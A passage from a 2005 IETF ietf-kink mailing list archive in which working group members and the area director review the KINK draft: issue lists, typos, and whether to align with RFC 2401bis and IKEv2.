usage >=20 > Usage of kink should specify the key usage numbers for kerberos > encryption. (Sam Hartman) >=20 >=20 > [*] 2401bis >=20 > section 4.4.1: > Please make sure this discussion is aligned with 2401bis. I think it > may change small details but they seem to have adopted much of the > same strategy kink uses. The area wher I believe they speak to this > issue is when you should rekey (timers etc) >=20 >=20 > [*] IKEv2 >=20 > Should we adopt IKEv2? >=20 > If we should... > - IKEv2 does not have DOI, so how to handle the DOI field in the KINK > packet header should be described. > - Use TS (Traffic Selector) instead of ID (Identification). > - KEYMAT calculation is changed. > - How to handle REKEY_SA Notify type. >=20 >=20 > [*] behavior on KINK_ERROR >=20 > In implementor's point of view, I'd like to see initiator's > behavior in receiving KINK_ERROR to be defined. > For example: > - When KINK_OK is received, initiator MAY act as if the KINK_ERROR > payload was not included in the messaged. > - When KINK_BADQMVERS is received and the Cksum is verified, > initiator MAY retry in other Quick Mode version. > - When one of other error codes is received and the Cksum is verified, > initiator SHOULD abort the negotiation. >=20 >=20 > [-] I-D nits >=20 > Review the I-D nits and RFC authors docs. I spotted a lot of=20 > mechanical things (number of lines per page; avoid hyphenation; use=20 > ragged right margin; need two spaces after sentence-ending period; fix=20 > page numbers in table of contents; add section numbers to TOC) most of=20 > which I think are specified in one of those documents. > (Ken Raeburn) >=20 > the document needs to meet all the ID nits when it is > submitted. (Sam Hartman) >=20 >=20 > [-] IANA considerations >=20 > I think the correct terminology is "port=20 > number", not "port", and they're "assigned", not "created". This=20 > section says no new registries are required in the first paragraph, and=20 > the third one specifies that IANA must create one (but without the=20 > associated procedural data that is required nowadays). Are the KINK=20 > payload types and ISAKMP payload types actually ever used in the same=20 > field? If not, I don't think they need to come out of the same=20 > registry. (Ken Raeburn) >=20 >=20 > [-] Wording/Terminology >=20 > Section 2 and 10.1. > Kerberos is now using the term user-user rather than user-to-user. > (Sam Hartman) >=20 > Section 2. > Principals are not either client or service principals; > they can and often do fill both roles. (Sam Hartman) >=20 > Section 2, last paragraph. "Between" is generally non-directional,=20 > but in this case, a direction seems to be intended to be inferred; try=20 > "from...to" instead. (Ken Raeburn) >=20 > Section 3, English usage/grammar problems with the first two paragraphs. > (Sam Hartman) >=20 > Section 3. > which allows a final acknowledgment message when the respondent needs > a full three-way handshake. This is only needed when the optimistic > keying route is not taken, though it is expected that that will not > be the norm. KINK also provides rekeying and dead peer detection as > What is expected not to be the norm? Please reword. > (Sam Hartman) >=20 > Section 4.3, discussing attributes, mixes singular and plural=20 > indications. The word "lone" appears to be popular with the author,=20 > too. :-) (Ken Raeburn) >=20 > Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) >=20 >=20 > [-] References >=20 > The reference to [PKCROSS] is unnecessary, and only happens once, in=20 > the introduction. I'd suggest dropping it. That's one less=20 > unpublished I-D in the references section. (Ken Raeburn) >=20 > [KRBREVS] is referenced but not listed in the references section. > (Ken Raeburn) >=20 > Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the=20 > protocol) fuzzy about use of different SAs, or is it "[IKE]" (the=20 > document)? (Ken Raeburn) >=20 > Section 1: > Remove the reference to pkcross or cite something outside the IETF. > It's an expired ID without and active editor. (Sam Hartman) >=20 > Section 1: > Add an informative reference to IKE. (Sam Hartman) >=20 > Section 2: > Cite a reference for DER. (Sam Hartman) >=20 >=20 > [-] Typos >=20 > 4.4.2. Dead Peer Detection > In the fourth paragraph, "loose" is to be "lose". >=20 > 5.1.1. KINK Padding Rules > In the second item, "other other" is to be "other". >=20 > 5.1.1. KINK Padding Rules > The first item in the list should end with a period like=20 > the others. (Ken Raeburn) >=20 > 5.1.5. KINK_TGT_REQ Payload > In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". >=20 > 5.1.6. KINK_TGT_REP Payload > In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". >=20 > 7.3. CREATE > "IPspec" is to be "IPsec". >=20 > 7.5. STATUS > In the last paragraph, "REPLY KINK Header" should be in one line. > In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". >=20 > overall: > "'s" is used in some places where I'd use "s" for a plural form. >=20 --=-oL4zK1LYeSOvSM3ym4mC Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQe/0ObMsDAj/Eq++AQKyVQP/SYy7InTgSviTkwj5zD3cCuhJoCY59Ejv 31NIJ2XJXVZNiTjETUx5T+x60YMczai+hCvNK6mJCiD8s3Z9DnlyOkXa6q7a4NkQ Tf+ornB+ZcSS2WOX0O/judmbK2UcHcI3y5sK4CfvNXlrYzUzP3hHfz10nCUnk48d UjELuRGAxL4= =b3OQ -----END PGP SIGNATURE----- --=-oL4zK1LYeSOvSM3ym4mC-- From owner-ietf-kink Thu Jan 20 11:20:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KJK3Uu016947; Thu, 20 Jan 2005 11:20:03 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KJK3C3016946; Thu, 20 Jan 2005 11:20:03 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KJK2Wk016931 for ; Thu, 20 Jan 2005 11:20:02 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id C59A9E0063; Thu, 20 Jan 2005 14:20:02 -0500 (EST) To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <1106240252.2951.65.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Thu, 20 Jan 2005 14:20:02 -0500 In-Reply-To: <1106240252.2951.65.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Thu, 20 Jan 2005 08:57:32 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> On Tue, 2005-01-18 at 14:31, Sam Hartman wrote: >> Section 4.4 >> >> IPsec does not allow half-open security associations any more >> as far as I can tell in 2401bis. So it's not just for >> simplicity, but for model conformance. Michael> Where is this "model conformance"? This is a kernel level Michael> suggestion at best, and if 2401bis forbids this, nothing Michael> actually changes with the KINK protocol except for the Michael> fact that it loses data which isn't KINK's fault, but Michael> 2401bis' notion of "conformance". I do not understand this sentence. What I was trying to say is that there may now be additional reasons having to do with 2401bis that kink does not allow half open security associations. I'd like the text to reflect this. I believe the easiest way to do this is to drop the phrase "for simplicity." Michael> In any case, I don't Michael> see why we should change this especially since 2401 isn't Michael> broken in this way. I believe it is important that IETF specs be clear. If you claim that you do something like disallow one-way SAs for simplicity, then it needs to be true that you had an option in the matter. As it stands, I believe your behavior will be dictated by 2401bis. >> Section 4.4.1: >> >> Please make sure this discussion is aligned with 2401bis. I >> think it may change small details but they seem to have adopted >> much of the same strategy kink uses. The area wher I believe >> they speak to this issue is when you should rekey (timers etc) Michael> This is a classic case of KINK being the _actual_ start Michael> of IKEv2 and 2401bis. The main question I have is whether Michael> there is something _wrong_ here. I do not believe there is something wrong at the protocol, although I believe it is important to confirm that is the case. I believe there may be small textual alignment issues. Michael> I really don't think Michael> it's fair to just be sending us off on work assignments Michael> if there's no reason to believe that what the draft Michael> states is incorrect. I'd like to draw your attention to section 6.7 of RFC 2418, working group procedures: 6.7. Area Director Area Directors are responsible for ensuring that working groups in their area produce coherent, coordinated, architecturally consistent and timely output as a contribution to the overall results of the IETF. As part of my responsibility for producing coordinated specifications I'm asking that the Kink draft be coordinated with RFC 2401bis. In particular when I notice that the Kink draft discusses the same issue as 2401bis, I will either determine that both documents are consistent myself or ask someone else to do so. A response to such a question could be of the form "I looked at the text dealing with rekeying in 2401bis; it says foo. I Looked at kink which says barr. These are consistent." A more abbreviated response of "I looked at rekeying in 2401bis and Kink and they are consistent," is appropriate in some circumstances. If you object to me delegating part of this review to the working group rather than doing it all myself, I think we have a fundamental disagreement. I'm fairly sure that is within the set of things it is appropriate and reasonable for me to do as an AD. If you are concerned that you personally don't want to do all this alignment checking, then work with the chairs to see if someone else does. >> Section 4.4.2 >> >> [**] Discuss status message, rebooting peers and u2u. This >> looks a lot like the IKE case where you lose all cryptographic >> context to me. Michael> I don't understand what you want here. Are you saying Michael> that this doesn't work in the u-u case? I don't Michael> understand what u-u has to do with anything here. OK. I was unclear . When sending a status message, what happens if the peer has gotten a new TGT? How do I realize I need to use this TGT rather than the one I have? From owner-ietf-kink Thu Jan 20 11:57:53 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KJvrIT041075; Thu, 20 Jan 2005 11:57:53 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KJvr5k041074; Thu, 20 Jan 2005 11:57:53 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KJvmnn041056 for ; Thu, 20 Jan 2005 11:57:48 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3F318E0063; Thu, 20 Jan 2005 14:57:49 -0500 (EST) To: Kazunori Miyazawa Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? References: <20050120111553S.sakane@kame.net> <41EF17D7.4060108@miyazawa.org> From: Sam Hartman Date: Thu, 20 Jan 2005 14:57:49 -0500 In-Reply-To: <41EF17D7.4060108@miyazawa.org> (Kazunori Miyazawa's message of "Thu, 20 Jan 2005 11:30:47 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Kazunori" == Kazunori Miyazawa writes: Kazunori> Shoichi Sakane wrote: >> In my opinion from reading the minutes at the IETF50 >> minneapolis, there is no strict reason to change the referenece >> from IKEv1 to IKEv2 because the ISAKMP payload in the KINK is >> just used to carry a set of IPsec parameters, and Notification >> Payloads. >> Kazunori> We should have a consensus whether we will discuss KINK Kazunori> based on rfc2401bis or rfc2401. Speaking as an AD, if 2401bis is approved by IETF 62, Kink will be based on 2401bis. If not, then it depends on where 2401bis is, where Kink is, and how fast things are moving. This decision is based on the following assumptions; if these assumptions are false the decision should be revisited. Making Kink based on 2401bis will not require significant change. Making Kink based on 2401bis will not create significant confusion for 2401 implementers. Making kink based on 2401bis will not require significant work for people who have mostly complete kink implementations. Note that I have not made the claim that kink should be based on ikev2 instead of ikev1. I've made a related claim: the WG must come to consensus on whether kink implements features like multiple SAs between the same nodes that are supported by 2401bis but not 2401. If the working group decides not to support all the things that 2401bis requires from ikev2, then the wg needs to explain why it made that decision. --Sam From owner-ietf-kink Thu Jan 20 12:02:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KK28wr042546; Thu, 20 Jan 2005 12:02:08 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KK28cn042545; Thu, 20 Jan 2005 12:02:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KK27g9042539 for ; Thu, 20 Jan 2005 12:02:07 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 4F5A1E0075; Thu, 20 Jan 2005 15:02:08 -0500 (EST) To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? References: <41EF17D7.4060108@miyazawa.org> <20050120122017V.sakane@kame.net> <1106238787.2951.51.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Thu, 20 Jan 2005 15:02:07 -0500 In-Reply-To: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Thu, 20 Jan 2005 08:33:07 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> Somebody will need to help me (us) here: can IKEv1 Michael> successfully establish 2401bis SA's? Can IKEv2 Michael> successfully establish 2401 SA's? I'm _guessing_ that the Michael> answer to both is "yes", but the big question is whether Michael> there's anything in IKEv2 what is exchanged across the Michael> wire to inform the other side whether it's 2401 or Michael> 2401bis. If so, we may need a similar mechanism. My understanding is that 2401bis supports both ikev2 and ikev1. However 2401bis has SPD entries that cannot be satisfied by ikev1. I.E. 2401bis allows multiple SAs to exist between the same two peers. There are things that ikev2 can negotiate that a pure 2401 implementation would not support. I believe it would be OK to have an ikev2 implementation that simply made sure not to do that. --Sam From owner-ietf-kink Thu Jan 20 12:11:24 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKBOY7046874; Thu, 20 Jan 2005 12:11:24 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KKBOda046873; Thu, 20 Jan 2005 12:11:24 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKBNcd046867 for ; Thu, 20 Jan 2005 12:11:23 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3DFA5E0077; Thu, 20 Jan 2005 15:11:24 -0500 (EST) To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Thu, 20 Jan 2005 15:11:24 -0500 In-Reply-To: <1106185907.2953.37.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Wed, 19 Jan 2005 17:51:47 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> Has a decision been made on wg meeting in MPLS? I'm Michael> hoping that the issues don't require a f2f meeting, but Michael> it would be good to know one way or the other. Speaking as an individual I'd like to see an f2f meeting even if we don't believe the issues require one. I think it might help us get on the same page. Here's a proposed agenda: * A presentation on how kcrypto differs from crypto in 1510 * A presentation on 2401bis vs 2401 * A presentation making sure we understand the difference between 2401bis conformance and ikev2 conformance * Discussion of u2u and authorization (we may not have enough context to know whether we need this yet) * A review of the issue list I think that getting all on the same page even if we don't need f2f time to resolve issues would benefit us. If others disagree, then we should not have the meeting. From owner-ietf-kink Thu Jan 20 12:13:07 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKD6uS047077; Thu, 20 Jan 2005 12:13:06 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KKD6ji047076; Thu, 20 Jan 2005 12:13:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKD6OG047054 for ; Thu, 20 Jan 2005 12:13:06 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 92555E0078; Thu, 20 Jan 2005 15:13:02 -0500 (EST) To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <1106240252.2951.65.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Thu, 20 Jan 2005 15:13:02 -0500 In-Reply-To: (Sam Hartman's message of "Thu, 20 Jan 2005 14:20:02 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Sam" == Sam Hartman writes: >>>>> "Michael" == Michael Thomas writes: Sam> If you are concerned that you personally don't want to do all Sam> this alignment checking, then work with the chairs to see if Sam> someone else does. This might have come out sounding like I was asking you to step down as editor. That was not my intent at all. I simply meant that it is reasonable to ask others to look into issues for you and if it turns out changes need to be made then you as editor get involved. From owner-ietf-kink Thu Jan 20 12:27:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKRSsH060363; Thu, 20 Jan 2005 12:27:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KKRRBB060362; Thu, 20 Jan 2005 12:27:27 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KKRIdV060037 for ; Thu, 20 Jan 2005 12:27:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 4A78CE0078; Thu, 20 Jan 2005 15:27:18 -0500 (EST) To: Jan Vilhuber Cc: Derek Atkins , Michael Thomas , Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Thu, 20 Jan 2005 15:27:17 -0500 In-Reply-To: (Jan Vilhuber's message of "Wed, 19 Jan 2005 20:23:34 -0800 (PST)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Jan" == Jan Vilhuber writes: Jan> On Wed, 19 Jan 2005, Derek Atkins wrote: >> Hi, >> >> Michael Thomas writes: >> >> > I'm still willing to edit the draft if we're not > talking >> about wholesale changes, and we're talking > about a relatively >> modest amount of time (eg, a > few months). >> >> I hope it'll only take a few months, but I know Sam is going to >> be a stickler for quality before the IESG. This isn't a bad >> thing, but I think it's going to put a lot more scrutiny on the >> document, so it may be significantly more work than you expect >> at the moment. It's hard to say right now. >> >> At the face of it we need to update the document to meet the >> new format requirements, update to krb-clarifications and >> krb-crypto, and probably update to reference IKEv2 and 2401bis. >> I dont know what other changes are going to be required. >> Jan> I think I missed something: Why do we need to update to Jan> reference ikev2? The ikev1 phase 2 exchange works just fine. I think there was confusion. I said that you needed to reference 2401bis rather than 2401. (I've explained the assumptions behind that in an earlier message) I suggested you should consider providing the additional features that 2401bis supports/requests from a key management protocol over 2401. You should either implement these features or explain why you chose not to do so. How you implement these features (referencing ikev2, etc) is up to you. From owner-ietf-kink Thu Jan 20 13:48:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KLmqWQ082486; Thu, 20 Jan 2005 13:48:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KLmqu2082485; Thu, 20 Jan 2005 13:48:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KLmlwG082469 for ; Thu, 20 Jan 2005 13:48:47 -0800 (PST) (envelope-from vilhuber@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 20 Jan 2005 14:56:31 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from localhost (vilhuber-u30.cisco.com [128.107.162.107]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j0KLmOl3029423; Thu, 20 Jan 2005 13:48:25 -0800 (PST) Date: Thu, 20 Jan 2005 13:48:36 -0800 (PST) From: Jan Vilhuber X-X-Sender: vilhuber@mediapc.goinhome.com To: Sam Hartman cc: Derek Atkins , Michael Thomas , Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: who will edit the draft ? In-Reply-To: Message-ID: References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Thu, 20 Jan 2005, Sam Hartman wrote: > >>>>> "Jan" == Jan Vilhuber writes: > > Jan> On Wed, 19 Jan 2005, Derek Atkins wrote: > > >> Hi, > >> > >> Michael Thomas writes: > >> > >> > I'm still willing to edit the draft if we're not > talking > >> about wholesale changes, and we're talking > about a relatively > >> modest amount of time (eg, a > few months). > >> > >> I hope it'll only take a few months, but I know Sam is going to > >> be a stickler for quality before the IESG. This isn't a bad > >> thing, but I think it's going to put a lot more scrutiny on the > >> document, so it may be significantly more work than you expect > >> at the moment. It's hard to say right now. > >> > >> At the face of it we need to update the document to meet the > >> new format requirements, update to krb-clarifications and > >> krb-crypto, and probably update to reference IKEv2 and 2401bis. > >> I dont know what other changes are going to be required. > >> > > Jan> I think I missed something: Why do we need to update to > Jan> reference ikev2? The ikev1 phase 2 exchange works just fine. > > > I think there was confusion. I said that you needed to reference > 2401bis rather than 2401. (I've explained the assumptions behind that > in an earlier message) > > I suggested you should consider providing the additional features that > 2401bis supports/requests from a key management protocol over 2401. > You should either implement these features or explain why you chose > not to do so. > I guess saying "I haven't read 2401bis" won't be a good excuse for not implementing any features from it, is it? jan > How you implement these features (referencing ikev2, etc) is up to > you. > From owner-ietf-kink Thu Jan 20 14:22:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KMMEvq087284; Thu, 20 Jan 2005 14:22:14 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0KMMEe9087283; Thu, 20 Jan 2005 14:22:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0KMM9Qq087254 for ; Thu, 20 Jan 2005 14:22:09 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-2.cisco.com with ESMTP; 20 Jan 2005 14:26:55 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j0KMLgl2020628; Thu, 20 Jan 2005 14:21:42 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0KMIT0h005026; Thu, 20 Jan 2005 14:18:29 -0800 Subject: Re: who will edit the draft ? From: Michael Thomas To: Jan Vilhuber Cc: Sam Hartman , Derek Atkins , Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-LqEHyvl7gwvFgooJl54u" Organization: Cisco Systems Message-Id: <1106259720.2951.83.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 20 Jan 2005 14:22:00 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106259509.840722"; x:"432200"; a:"rsa-sha1"; b:"nofws:720"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"aZb1ZNFGMPiby19TTVEo89QtdGdjSnDpjwqPpcAR0ZTp/X1ngNhDJZHYVIGSXhQuzhyrglxg" "AmW8XqO3pOvWjZqbAO73nb+cwFrV+bux/pVwMQ37pBnr48NMCCIgZ+qRD2IBSU7nY/FLTRx1nqx" "rAe4m+76u9y4KrLStehCT5mQ="; c:"Subject: Re: who will edit the draft ?"; c:"From: Michael Thomas "; c:"Date: Thu, 20 Jan 2005 14:22:00 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-LqEHyvl7gwvFgooJl54u Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2005-01-20 at 13:48, Jan Vilhuber wrote: > I guess saying "I haven't read 2401bis" won't be a good excuse for not > implementing any features from it, is it? Well it's probably better than implementing features *without* reading it ;-) Mike --=-LqEHyvl7gwvFgooJl54u Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQfAvCLMsDAj/Eq++AQIoggP+KMXuh3Gytvfy05ayBZUA2GZiw67TEzRS nJOUDvfy2k0Y1tJ1MROjW7BX4VjGI3uS12dwvci61UKmsLaat1vwp7FP/e+2bWe+ bEeDipWvD0uNgobmNMpyoOBzf4580cCvfWioJQ4TTBiIQsm8+XsnwRjsp64/znZP c5Cds2ng5KU= =R95H -----END PGP SIGNATURE----- --=-LqEHyvl7gwvFgooJl54u-- From owner-ietf-kink Thu Jan 20 16:57:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L0vu88011548; Thu, 20 Jan 2005 16:57:56 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0L0vuK1011547; Thu, 20 Jan 2005 16:57:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0L0vtSr011147 for ; Thu, 20 Jan 2005 16:57:55 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 8645D11 for ; Fri, 21 Jan 2005 09:57:31 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0yXqBG; Fri, 21 Jan 2005 09:57:31 +0900 (JST) Date: Fri, 21 Jan 2005 09:58:20 +0900 Message-ID: <20050121095820RV%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: KINK issue list In-Reply-To: <1106244665.2953.78.camel@thomasm-lnx.cisco.com> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <1106244665.2953.78.camel@thomasm-lnx.cisco.com> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk 